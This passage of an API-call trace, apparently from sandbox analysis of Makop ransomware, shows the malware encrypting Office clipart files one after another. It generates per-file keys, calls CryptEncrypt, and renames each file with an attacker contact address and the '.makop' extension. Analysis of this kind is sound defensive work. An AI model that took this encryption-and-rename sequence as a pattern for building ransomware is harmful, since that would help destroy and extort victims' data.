MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.008] CloseHandle (hObject=0xf0) returned 1 [0151.008] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0151.008] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF") returned 63 [0151.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.011] GetProcessHeap () returned 0x48a0000 [0151.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.011] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.015] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.015] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.015] GetProcessHeap () returned 0x48a0000 [0151.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.015] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.017] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x184c, lpOverlapped=0x0) returned 1 [0151.018] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850, dwBufLen=0x1850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850) returned 1 [0151.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1850, lpOverlapped=0x0) returned 1 [0151.018] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.019] SetEndOfFile (hFile=0xf0) returned 1 [0151.025] GetProcessHeap () returned 0x48a0000 [0151.026] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.026] GetProcessHeap () returned 0x48a0000 [0151.026] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.026] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.028] CloseHandle (hObject=0xf0) returned 1 [0151.028] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0151.028] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 63 [0151.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.029] GetProcessHeap () returned 0x48a0000 [0151.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.029] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0151.034] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.035] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.035] GetProcessHeap () returned 0x48a0000 [0151.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.035] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.035] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.037] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.037] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x543a, lpOverlapped=0x0) returned 1 [0151.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5440, dwBufLen=0x5440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5440) returned 1 [0151.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5440, lpOverlapped=0x0) returned 1 [0151.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.040] SetEndOfFile (hFile=0xf0) returned 1 [0151.047] GetProcessHeap () returned 0x48a0000 [0151.047] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.047] GetProcessHeap () returned 0x48a0000 [0151.047] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.047] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.049] CloseHandle (hObject=0xf0) returned 1 [0151.049] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0151.050] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 63 [0151.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.051] GetProcessHeap () returned 0x48a0000 [0151.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.051] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0151.056] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.057] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.057] GetProcessHeap () returned 0x48a0000 [0151.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.057] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.057] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.057] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.058] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16ee, lpOverlapped=0x0) returned 1 [0151.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f0) returned 1 [0151.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16f0, lpOverlapped=0x0) returned 1 [0151.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.061] SetEndOfFile (hFile=0xf0) returned 1 [0151.068] GetProcessHeap () returned 0x48a0000 [0151.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.068] GetProcessHeap () returned 0x48a0000 [0151.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.068] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.070] CloseHandle (hObject=0xf0) returned 1 [0151.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0151.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF") returned 63 [0151.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.071] GetProcessHeap () returned 0x48a0000 [0151.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.072] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0151.077] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.077] GetProcessHeap () returned 0x48a0000 [0151.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.078] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.079] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x41c2, lpOverlapped=0x0) returned 1 [0151.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x41d0, dwBufLen=0x41d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x41d0) returned 1 [0151.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x41d0, lpOverlapped=0x0) returned 1 [0151.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.081] SetFilePointerEx (in: 